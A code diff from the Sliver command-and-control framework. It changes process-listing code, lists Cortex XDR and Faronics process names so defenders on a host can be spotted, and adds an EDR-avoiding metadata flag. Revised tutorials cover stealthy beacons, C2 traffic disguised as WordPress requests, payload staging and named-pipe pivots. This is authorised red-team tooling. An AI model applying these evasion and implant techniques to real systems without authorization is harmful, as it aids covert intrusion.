@@ -106,7 +103,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("disable-otp", "D", false, "disable otp authentication")
f.StringP("long-poll-timeout", "T", "1s", "server-side long poll timeout")
f.StringP("long-poll-jitter", "J", "2s", "server-side long poll jitter")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
// HTTPS
@@ -132,8 +128,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("key", "k", "", "PEM encoded private key file")
f.BoolP("lets-encrypt", "e", false, "attempt to provision a let's encrypt certificate")
f.BoolP("disable-randomized-jarm", "E", false, "disable randomized jarm fingerprints")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
flags.BindFlagCompletions(httpsCmd, func(comp *carapace.ActionMap) {
(*comp)["cert"] = carapace.ActionFiles().Tag("certificate file")
+3 -2
View File
@@ -25,11 +25,12 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.Bind("", false, psCmd, func(f *pflag.FlagSet) {
f.IntP("pid", "p", -1, "filter based on pid")
f.StringP("exe", "e", "", "filter based on executable name")
f.StringP("owner", "o", "", "filter based on owner")
f.BoolP("print-cmdline", "c", false, "print command line arguments")
f.StringP("owner", "o", "", "filter based on owner, must request full process metadata (-f)")
f.BoolP("print-cmdline", "c", false, "print command line arguments, must request full process metadata (-f)")
f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)")
f.IntP("skip-pages", "S", 0, "skip the first n page(s)")
f.BoolP("tree", "T", false, "print process tree")
f.BoolP("full", "f", false, "show full process metadata (owner, architecture, session information) -- may trigger EDR")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
+88 -24
View File
@@ -100,6 +100,13 @@ var knownSecurityTools = map[string][]string{
"CrAmTray.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CrsSvc.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"CybereasonAV.exe": {console.Red, "Cybereason ActiveProbe"}, // Cybereason ActiveProbe
"cortex-xdr-payload.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - offline triage
"cysandbox.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - sandbox
"cyuserservice.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - user service
"cywscsvc.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - security center service
"tlaworker.exe": {console.Red, "Palo Alto Cortex"}, // Cortex XDR - local analysis worker
"AEEngine.exe": {console.Red, "Faronics Anti-Executable"}, // Faronics Anti-Executable - security service
"Antiexecutable.exe": {console.Red, "Faronics Anti-Executable"}, // Faronics Anti-Executable - gui and tray icon
}
// PsCmd - List processes on the remote system
@@ -108,14 +115,45 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
if session == nil && beacon == nil {
return
}
ownerFilter, _ := cmd.Flags().GetString("owner")
cmdLine, _ := cmd.Flags().GetBool("print-cmdline")
tree, _ := cmd.Flags().GetBool("tree")
fullInfo, _ := cmd.Flags().GetBool("full")
if tree && fullInfo {
con.PrintWarnf("Process tree and full process metadata were requested. " +
"Full process metadata is not necessary for the process tree, so the request for full process metadata will be ignored.\n\n")
fullInfo = false
}
if ownerFilter != "" && !fullInfo {
con.PrintErrorf("Filtering on process owner was requested, but full process metadata was not requested. Re-run the command, and specify the -f flag.\n")
return
}
if cmdLine && !fullInfo {
con.PrintErrorf("Process command line arguments were requested, but full process metadata was not requested. Re-run the command, and specify the -f flag.\n")
return
}
// Get OS information
os := getOS(session, beacon)
/*
Because a full list can trigger EDR on some platforms,
namely Windows, filtering of the process list must be
done on the implant side.
*/
ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
Request: con.ActiveTarget.Request(cmd),
FullInfo: fullInfo,
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
os := getOS(session, beacon)
if ps.Response != nil && ps.Response.Async {
con.AddBeaconCallback(ps.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, ps)
@@ -123,7 +161,7 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintPS(os, ps, false, cmd.Flags(), con)
PrintPS(os, ps, false, fullInfo, cmd.Flags(), con)
products := findKnownSecurityProducts(ps)
if 0 < len(products) {
con.Println()
@@ -132,7 +170,7 @@ func PsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
})
con.PrintAsyncResponse(ps.Response)
} else {
PrintPS(os, ps, true, cmd.Flags(), con)
PrintPS(os, ps, true, fullInfo, cmd.Flags(), con)
products := findKnownSecurityProducts(ps)
if 0 < len(products) {
con.Println()
@@ -151,7 +189,7 @@ func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
}
// PrintPS - Prints the process list
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet, con *console.SliverClient) {
func PrintPS(os string, ps *sliverpb.Ps, interactive bool, fullInfo bool, flags *pflag.FlagSet, con *console.SliverClient) {
pidFilter, _ := flags.GetInt("pid")
exeFilter, _ := flags.GetString("exe")
ownerFilter, _ := flags.GetString("owner")
@@ -180,15 +218,25 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet,
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
defaultInfo := table.Row{"pid", "ppid", "executable"}
switch os {
case "windows":
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
if fullInfo {
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable", "session"})
} else {
tw.AppendHeader(defaultInfo)
}
case "darwin":
fallthrough
case "linux":
fallthrough
default:
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
if fullInfo {
tw.AppendHeader(table.Row{"pid", "ppid", "owner", "arch", "executable"})
} else {
tw.AppendHeader(defaultInfo)
}
}
cmdLine, _ := flags.GetBool("print-cmdline")
@@ -202,7 +250,7 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, flags *pflag.FlagSet,
if ownerFilter != "" && !strings.Contains(strings.ToLower(proc.Owner), strings.ToLower(ownerFilter)) {
continue
}
row := procRow(tw, proc, cmdLine, con)
row := procRow(proc, cmdLine, fullInfo, con)
tw.AppendRow(row)
}
tw.SortBy([]table.SortBy{
@@ -230,7 +278,7 @@ func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
}
// procRow - Stylizes the process information
func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console.SliverClient) table.Row {
func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.SliverClient) table.Row {
session, beacon := con.ActiveTarget.GetInteractive()
color := console.Normal
@@ -247,7 +295,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
var row table.Row
switch session.GetOS() {
case "windows":
if cmdLine {
if cmdLine && fullInfo {
var args string
if len(proc.CmdLine) >= 1 {
args = strings.Join(proc.CmdLine, " ")
@@ -263,13 +311,21 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
} else {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
if fullInfo {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
}
} else {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
}
}
case "darwin":
@@ -277,7 +333,7 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
case "linux":
fallthrough
default:
if cmdLine {
if cmdLine && fullInfo {
var args string
if len(proc.CmdLine) >= 2 {
args = strings.Join(proc.CmdLine, " ")
@@ -292,12 +348,20 @@ func procRow(tw table.Writer, proc *commonpb.Process, cmdLine bool, con *console
fmt.Sprintf(color+"%s"+console.Normal, args),
}
} else {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
if fullInfo {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
} else {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
}
}
}
}
+23
View File
@@ -19,6 +19,7 @@ package command
*/
import (
"fmt"
"os"
"github.com/bishopfox/sliver/client/command/alias"
@@ -31,6 +32,7 @@ import (
"github.com/bishopfox/sliver/client/command/crack"
"github.com/bishopfox/sliver/client/command/creds"
"github.com/bishopfox/sliver/client/command/exit"
"github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/hosts"
"github.com/bishopfox/sliver/client/command/info"
@@ -91,6 +93,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
licenses.Commands,
settings.Commands,
alias.Commands,
extensions.Commands,
armory.Commands,
update.Commands,
operators.Commands,
@@ -131,6 +134,26 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
// [ Post-command declaration setup ]-----------------------------------------
// Load Extensions
// Similar to the SliverCommand loading, without adding the commands to the
// Server command tree. This is done to ensure that the extensions are loaded
// before the server is started, so that the extensions are registered.
extensionManifests := extensions.GetAllExtensionManifests()
for _, manifest := range extensionManifests {
_, err := extensions.LoadExtensionManifest(manifest)
// Absorb error in case there's no extensions manifest
if err != nil {
//con doesn't appear to be initialised here?
//con.PrintErrorf("Failed to load extension: %s", err)
fmt.Printf("Failed to load extension: %s\n", err)
continue
}
//for _, ext := range mext.ExtCommand {
// extensions.ExtensionRegisterCommand(ext, sliver, con)
//}
}
// Everything below this line should preferably not be any command binding
// (although you can do so without fear). If there are any final modifications
// to make to the server menu command tree, it time to do them here.
+3 -4
View File
@@ -87,6 +87,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
screenshot.Commands,
environment.Commands,
registry.Commands,
extensions.SliverCommands,
)
// [ Filesystem ]
@@ -127,9 +128,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
bind(consts.AliasHelpGroup)
// [ Extensions ]
bind(consts.ExtensionHelpGroup,
extensions.Commands,
)
bind(consts.ExtensionHelpGroup)
// [ Post-command declaration setup ]----------------------------------------
@@ -144,7 +143,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
}
// Load Extensions
extensionManifests := assets.GetInstalledExtensionManifests()
extensionManifests := extensions.GetAllExtensionManifests()
for _, manifest := range extensionManifests {
mext, err := extensions.LoadExtensionManifest(manifest)
// Absorb error in case there's no extensions manifest
+4 -1
View File
@@ -628,8 +628,11 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)")
f.IntP("skip-pages", "S", 0, "skip the first n page(s)")
f.BoolP("tree", "T", false, "print process tree")
f.BoolP("full", "f", false, "show full process info (owner, command line, session information, may trigger EDR), default true on all non-Windows OSs, false on Windows")
processes.PrintPS(beacon.OS, ps, true, f, con)
fullInfo := beacon.OS != "windows"
processes.PrintPS(beacon.OS, ps, true, fullInfo, f, con)
case sliverpb.MsgTerminateReq:
terminate := &sliverpb.Terminate{}
+3
View File
@@ -50,6 +50,9 @@ func TasksCancelCmd(cmd *cobra.Command, con *console.SliverClient, args []string
con.PrintErrorf("%s\n", err)
return
}
// Request and response content is not needed for cancelling a task
task.Request = nil
task.Response = nil
}
if task != nil {
@@ -49,9 +49,7 @@ Filesystem
grep Search for strings that match a regex within a file or directory
head Grab the first number of bytes or lines from a file
ls List current directory
memfiles List current memfiles
mkdir Make a directory
mount Get information on mounted filesystems
mv Move or rename a file
pwd Print working directory
rm Remove a file or directory
@@ -72,7 +70,6 @@ Info
getuid Get session process UID
info Get session info
ping Send round trip message to implant (does not use ICMP)
screenshot Take a screenshot
whoami Get session user execution context
```
Execute a binary
@@ -86,3 +83,13 @@ Running an interactive shell
```asciinema
{"src": "/asciinema/shell.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
Not all commands are supported for all operating systems or meant to be used on all operating systems, here are a few examples:
```
mount Get information on mounted filesystems (only for Windows and Linux)
screenshot Take a screenshot (only for Windows and Linux)
memfiles List current memfiles (Linux only)
```
This is an open-source project if you see a bug please file an issue! Pull requests are always welcome.
@@ -2,9 +2,9 @@
Sliver implants support two types of connections, sessions and beacons.
Sessions use long-polling connections, which means they use a single TCP connection which is constantly open. Beacons on the other hand call back periodically, and will sleep when not active which can help keep their presence hidden.
Sessions use long-polling connections, which means they constantly maintain a single TCP connection open while communicating with the server. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration.
Typically during an engagement you will want to deploy a beacon on the target system, and switch to a session while doing more active enumeration activities.
Typically during an engagement you will want to deploy a beacon on the target system and switch to a session while doing more active enumeration.
Let’s start with generating and deploying a beacon using `http`.
@@ -66,13 +66,13 @@ Commands issued for beacons can be viewed using `tasks`, the task state will ind
{"src": "/asciinema/beacon_tasks.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
Session can be spun up using the `interactive` command.
Session can be spun up in our beacon process using the `interactive` command. Under the hood this will spawn a goroutine running session connection loop in the same beacon process.
```asciinema
{"src": "/asciinema/beacon_interractive.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
Because of the differences between sessions and beacons, certain commands like `upload` or `download` are slower on beacons due to the callback time. Others such as socks5 are not supported and only allowed for sessions. As a rule of thumb anything requiring higher network bandwidth should be run from a session.
Because of the differences between sessions and beacons, certain commands like `upload` or `download` are slower on beacons due to the callback time. Others such as socks5 are only supported for sessions. As a rule of thumb anything requiring higher network bandwidth should be run from a session.
Let’s switch to our newly created session and spin-up a `socks5` proxy.
@@ -91,4 +91,4 @@ Let’s switch to our newly created session and spin-up a `socks5` proxy.
You can then point your browser to port 1081 to tunnel traffic through the implant to your target’s local network.
Try out some of the previous commands and compare behaviour on beacons and sessions. Once you are done, you should remember to close your session using the `close` command.
Try out some of the previous commands and compare behaviour on beacons and sessions. Once you are done, you should remember to close your session thread using the `close` command.
@@ -1,104 +1,19 @@
# This course is intended for the 1.6 version of Sliver, which is not yet published
When generating implants sliver uses a C2Profile configuration, which will be used to generate the effective network configuration of the implant. For example if configured to use /admin and /demo as callback urls, it might use one, the other or both allowing two implants using the same configuration to still seem slightly different from a network traffic perspective.
When generating implants Sliver uses a C2Profile configuration to define how implant callbacks will look over HTTP/s. This allowed operators to control headers, cookies proxies, URL paths and so on. When the implant is generated the sliver server will then select portions of that configuration to generate the implant C2Profile.
C2 profile configurations can be seen using the `c2profile` command, which also allows import and export features.
For example if configured to use `/admin` and `/demo` as callback urls, it might use one, the other or both depending on your configuration allowing two implants using the same configuration to still seem slightly different from a network traffic perspective.
C2 profile configurations can be seen using the `c2profile` command, which also has import and export features.
The full list of possible configuration option can be found in the references section below, but for now lets instead customise the existing configuration.
Lets imagine we’re trying to breach a customer we've noticed uses ruby-on-rails for their applications. By default sliver will use the following extensions:
Lets imagine we’re trying to breach a customer and want to look like we're talking to Wordpress.
We would want to update the session messages and staging with something more realistic and replace all references to `woff` for example with something less suspicious like `css`, `js` or `php`.
- `.woff` for staging
- `.js` for poll requests
- `.html` for key exchanges
- `.png` for close session
- `.php` for session messages
We would also use a list of common Urls and filenames for Wordpress like `https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls-wordpress-3.3.1.txt` for the `files` and `paths` variables. You could alternatively reuse Urls discovered while enumerating your target's external perimeter in a similar way.
We will need to update the session messages and staging with something more realistic and replace all references to `woff` or `php` with something less suspicious like `css`, `rb` or `erb`.
We will also use a list of common Urls and filenames for Ruby on Rails like `https://github.com/danielmiessler/SecLists/blob/master/DiscoveryWeb-Content/ror.txt` for the `*_files` and `*_paths` variables. You could also reuse Urls discovered while enumerating your target's external perimeter in a similar way.
We will split the urls using a script like the example below, and then update the files and paths variables in our configuration file.
```python
import json
import math
import sys
import random
def updateProfile(c2ProfileName, urls, cookieName):
data = open(urls).readlines()
c2Profile = open(c2ProfileName, "r").read()
jsonC2Profile = json.loads(c2Profile)
paths, filenames, extensions = [], [], []
for line in data:
line = line.strip()
if "." in line:
extensions.append(line.split(".")[-1])
if "/" in line:
segments = line.split("/")
paths.extend(segments[:-1])
filenames.append(segments[-1].split(".")[0])
extensions = list(set(extensions))
if "" in extensions:
extensions.remove("")
random.shuffle(extensions)
filenames = list(set(filenames))
if "" in filenames:
filenames.remove("")
paths = list(set(paths))
if "" in paths:
paths.remove("")
if len(extensions) < 5:
print(f'Got {len(extensions)} extensions, need at least 5.')
exit(0)
if len(paths) < 5:
print(f'Got {len(paths)} paths need at least 5.')
exit(0)
if len(filenames) < 5:
print(f'Got {len(filenames)} paths need at least 5.')
exit(0)
exts = ['poll_file_ext','stager_file_ext', 'start_session_file_ext', 'session_file_ext', 'close_file_ext' ]
for ext in exts:
jsonC2Profile["implant_config"][ext] = extensions[0]
extensions.pop(0)
pathTypes = ['poll_paths','stager_paths', 'session_paths', 'close_paths' ]
for x, pathType in enumerate(pathTypes):
jsonC2Profile["implant_config"][pathType] = paths[math.floor(x*(len(paths)/len(pathTypes))):math.floor((x+1)*(len(paths)/len(pathTypes)))]
fileTypes = ['poll_files','stager_files', 'session_files', 'close_files']
for x, fileType in enumerate(fileTypes):
jsonC2Profile["implant_config"][fileType] = filenames[math.floor(x*(len(filenames)/len(fileTypes))):math.floor((x+1)*(len(filenames)/len(fileTypes)))]
jsonC2Profile["server_config"]["cookies"] = [cookieName]
c2Profile = open(c2ProfileName, "w")
c2Profile.write(json.dumps(jsonC2Profile))
print("C2 Profile updated !")
if __name__ == "__main__":
if len(sys.argv) < 4:
print("Usage: updateProfile.py myC2Profile myurls.txt cookieName")
exit(0)
updateProfile(sys.argv[1], sys.argv[2], sys.argv[3])
```
The example below demonstrates how to change and import a profile.
```asciinema
{"src": "/asciinema/custom_c2profile.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
You can use `c2profiles generate -f urls-wordpress-3.3.1.txt -n wordpress -i` to generate a new c2 profile using the urls we just downloaded. By default this command will use the default c2 profile as a template for all other variables, if you want to edit any of those you can export and re-import the modified profile.
At this point we can generate a new implant using our new profile.
@@ -10,12 +10,11 @@ For this exercise, we will create a new beacon profile and prepare to stage it.
If you look at the generated implant, you'll notice the `ID` field has been populated. When downloading your payload from the staging server your URL needs to be in the form of:
```
https://sliver-ip/whatever.stager_file_ext?x=yourID
https://sliver-ip/definitely/not/malware?x=yourID
```
There is a lot of flexibility in the form of this URL, the conditions for successful staging are:
* The file extension needs to match the c2 profile's stager_file_ext
* There has to be a one character http url parameter
* There has to be http url parameter containing the implant ID
* The digits found in the ID need to match an implant ID, if your implant ID is 1234, abcd1234, 12beu34 are all valid values
To expose a payload, you need to use the `implants stage` command and specifically select the implant to leave accessible.
@@ -32,3 +32,27 @@ The next step is to generate a payload that will connect to our listener.
```
Executing this payload will cause it to connect back through our original implant and then back to our C2 server.
```asciinema
{"src": "/asciinema/tcppivot.cast", "cols": "132", "rows": "14", "idleTimeLimit": 8}
```
As mentionned before named pipe pivots use a similar process, first you need to create a listener:
```bash
[server] sliver (WARM_DRIVEWAY) > pivots named-pipe --bind foobar
[*] Started named pipe pivot listener \\.\pipe\foobar with id 1
```
You can then generate an implant connecting to it
```bash
sliver > generate --os windows --debug --skip-symbols --named-pipe ./pipe/foobar
[*] Generating new windows/amd64 implant binary
[*] Build completed in 1s
[*] Implant saved to /Users/tester/code/sliver/PROPER_SING.exe
```
File diff suppressed because it is too large. Load diff
+1 -1
View File
@@ -1 +1 @@
{"tutorials":[{"name":"1 - Getting Started","content":"# This course is intented for the 1.6 version of Sliver, which is not yet published\n\n`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.\n\nFirst time running Sliver will take a couple seconds as its retrieving its dependencies, consecutive executions will be much faster. Go ahead and launch the `sliver-server`.\n\n```asciinema\n{\"src\": \"/asciinema/startup.cast\", \"cols\": \"132\", \"rows\": \"28\", \"idleTimeLimit\": 8}\n```\n\nLet's take a couple minutes to discuss what Sliver actually is and how its setup.\n\n![Alt text](/images/Architecture.png)\n\nNow that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.\n\nHere's what we're going to do: \n* Generate your implant using the `generate` command as shown below.\n* Start HTTP listener on port 80\n* Execute implant in a separate terminal\n\n```asciinema\n{\"src\": \"/asciinema/first-implant.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNow let’s select our implant and run our first command using the `use` command.\n\n```bash\n[server] sliver > use\n? Select a session or beacon: \nSESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64\n[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)\n\n[server] sliver (RELATED_EARDRUM) > pwd\n\n[*] /Users/tester/tools\n```\n\nOnce you have reached this point, go ahead and explore some of the commands listed below. In each case first checkout the commands help using the **`-h`** flag then try it out!\n\n```bash\nExploring and interacting with the filesystem\n\nFilesystem\n cat Dump file to stdout\n cd Change directory\n cp Copy a file\n download Download a file\n grep Search for strings that match a regex within a file or directory\n head Grab the first number of bytes or lines from a file\n ls List current directory\n memfiles List current memfiles\n mkdir Make a directory\n mount Get information on mounted filesystems\n mv Move or rename a file\n pwd Print working directory\n rm Remove a file or directory\n tail Grab the last number of bytes or lines from a file\n upload Upload a file\n```\n\n```asciinema\n{\"src\": \"/asciinema/filesystem.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nGetting some environmental information\n```bash\nInfo\n env List environment variables\n getgid Get session process GID\n getpid Get session pid\n getuid Get session process UID\n info Get session info\n ping Send round trip message to implant (does not use ICMP)\n screenshot Take a screenshot\n whoami Get session user execution context\n```\nExecute a binary\n\n```asciinema\n{\"src\": \"/asciinema/execute.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nRunning an interactive shell\n\n```asciinema\n{\"src\": \"/asciinema/shell.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n"},{"name":"2 - Beacons vs Sessions","content":"Sliver implants support two types of connections, sessions and beacons.\n\nSessions use long-poling connections, which means they use a single TCP connection which is constantly open. Beacons on the other hand call back periodically, and will sleep when not active which can help keep their presence hidden.\n\nTypically during an engagement you will want to deploy a beacon on the target system, and switch to a session while doing more active enumeration activities.\n\nLet’s start with generating and deploying a beacon using `http`.\n\n```asciinema\n{\"src\": \"/asciinema/beacon_generation.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nYou can see the beacon callback times either in the `info` command or using `beacons watch`.\n\n```bash\n[server] sliver > beacons watch\n\n ID Name Transport Username Operating System Last Check-In Next Check-In\n========== =============== =========== ================= ================== =============== ===============\n 942c647c TIRED_GIRAFFE http(s) tester darwin/amd64 52s 12s\n\n```\n\nBeacon callback times and jitter can be set either during generation or on the fly using the `reconfig` command.\n\nThe example below sets the callback time to 5s with a 1s jitter.\n\n```bash\n[server] sliver (TIRED_GIRAFFE) > reconfig -i 5s -j 1s\n\n[*] Tasked beacon Line truncated
{"tutorials":[{"name":"1 - Getting Started","content":"# This course is intended for the 1.6 version of Sliver, which is not yet published\n\n`sliver-server` is the binary you want to use to run the Sliver C2 server, `sliver-client` is solely a client to connect to a Sliver C2 server. Sliver server also acts as a client on its own, so you don’t necessarily run sliver server and client separately.\n\nFirst time running Sliver will take a couple seconds as it's retrieving its dependencies. Consecutive executions will be much faster. Go ahead and launch the `sliver-server`.\n\n```asciinema\n{\"src\": \"/asciinema/startup.cast\", \"cols\": \"132\", \"rows\": \"28\", \"idleTimeLimit\": 8}\n```\n\nLet's take a couple minutes to discuss what Sliver actually is and how it's set up.\n\n![Alt text](/images/Architecture.png)\n\nNow that Sliver is running, lets generate and execute your first implant to try out some of the basic features of Sliver, for now we’re going to run everything on the local host.\n\nHere's what we're going to do: \n* Generate your implant using the `generate` command as shown below.\n* Start HTTP listener on port 80\n* Execute implant in a separate terminal\n\n```asciinema\n{\"src\": \"/asciinema/first-implant.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNow let’s select our implant and run our first command using the `use` command.\n\n```bash\n[server] sliver > use\n? Select a session or beacon: \nSESSION 1884a365 RELATED_EARDRUM [::1]:49153 test.local tester darwin/amd64\n[*] Active session RELATED_EARDRUM (1884a365-085f-4506-b28e-80c481730fd0)\n\n[server] sliver (RELATED_EARDRUM) > pwd\n\n[*] /Users/tester/tools\n```\n\nOnce you have reached this point, go ahead and explore some of the commands listed below. In each case, first check out the command's help using the **`-h`** flag then try it out!\n\n```bash\nExploring and interacting with the filesystem\n\nFilesystem\n cat Dump file to stdout\n cd Change directory\n cp Copy a file\n download Download a file\n grep Search for strings that match a regex within a file or directory\n head Grab the first number of bytes or lines from a file\n ls List current directory\n mkdir Make a directory\n mv Move or rename a file\n pwd Print working directory\n rm Remove a file or directory\n tail Grab the last number of bytes or lines from a file\n upload Upload a file\n```\n\n```asciinema\n{\"src\": \"/asciinema/filesystem.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nGetting some environmental information\n```bash\nInfo\n env List environment variables\n getgid Get session process GID\n getpid Get session pid\n getuid Get session process UID\n info Get session info\n ping Send round trip message to implant (does not use ICMP)\n whoami Get session user execution context\n```\nExecute a binary\n\n```asciinema\n{\"src\": \"/asciinema/execute.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nRunning an interactive shell\n\n```asciinema\n{\"src\": \"/asciinema/shell.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nNot all commands are supported for all operating systems or meant to be used on all operating systems, here are a few examples:\n\n```\nmount Get information on mounted filesystems (only for Windows and Linux)\nscreenshot Take a screenshot (only for Windows and Linux)\nmemfiles List current memfiles (Linux only)\n```\n\nThis is an open-source project if you see a bug please file an issue! Pull requests are always welcome."},{"name":"2 - Beacons vs Sessions","content":"# This course is intended for the 1.6 version of Sliver, which is not yet published\n\nSliver implants support two types of connections, sessions and beacons.\n\nSessions use long-polling connections, which means they constantly maintain a single TCP connection open while communicating with the server. Beacons on the other hand call back periodically and will sleep when not active which can help keep their presence hidden. You could limit callbacks to once every 6 hours for example and only 'activate' the beacon when needed by switching its sleeping time to a shorter duration.\n\nTypically during an engagement you will want to deploy a beacon on the target system and switch to a session while doing more active enumeration.\n\nLet’s start with generating and deploying a beacon using `http`.\n\n```asciinema\n{\"src\": \"/asciinema/beacon_generation.cast\", \"cols\": \"132\", \"rows\": \"14\", \"idleTimeLimit\": 8}\n```\n\nYou can see the beacon callback times either in the `info` command or using `beacons watch`.\n\n```bash\n[server] sliver > beacons watch\n\n Line truncated
+2 -2
View File
@@ -20,8 +20,8 @@ set -e
# Creates the static go asset archives
GO_VER="1.22.5"
GARBLE_VER="1.22.5"
GO_VER="1.23.5"
GARBLE_VER="1.23.5"
ZIG_VER="0.13.0"
SGN_VER="0.0.3"
+7 -7
View File
@@ -47,19 +47,19 @@ require (
github.com/ulikunitz/xz v0.5.12
github.com/xlab/treeprint v1.2.0
github.com/yiya1989/sshkrb5 v0.0.1
golang.org/x/crypto v0.29.0
golang.org/x/crypto v0.32.0
golang.org/x/exp v0.0.0-20240416160154-fe59bbe5cc7f
golang.org/x/net v0.26.0
golang.org/x/sys v0.27.0
golang.org/x/term v0.26.0
golang.org/x/text v0.20.0
golang.org/x/net v0.33.0
golang.org/x/sys v0.29.0
golang.org/x/term v0.28.0
golang.org/x/text v0.21.0
golang.zx2c4.com/wireguard v0.0.0-20231211153847-12269c276173
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20230429144221-925a1e7659e6
google.golang.org/grpc v1.64.1
google.golang.org/protobuf v1.34.1
gopkg.in/AlecAivazis/survey.v1 v1.8.8
gorm.io/driver/postgres v1.5.9
gorm.io/driver/mysql v1.5.7
gorm.io/driver/postgres v1.5.9
gorm.io/driver/sqlite v1.5.5
gorm.io/gorm v1.25.10
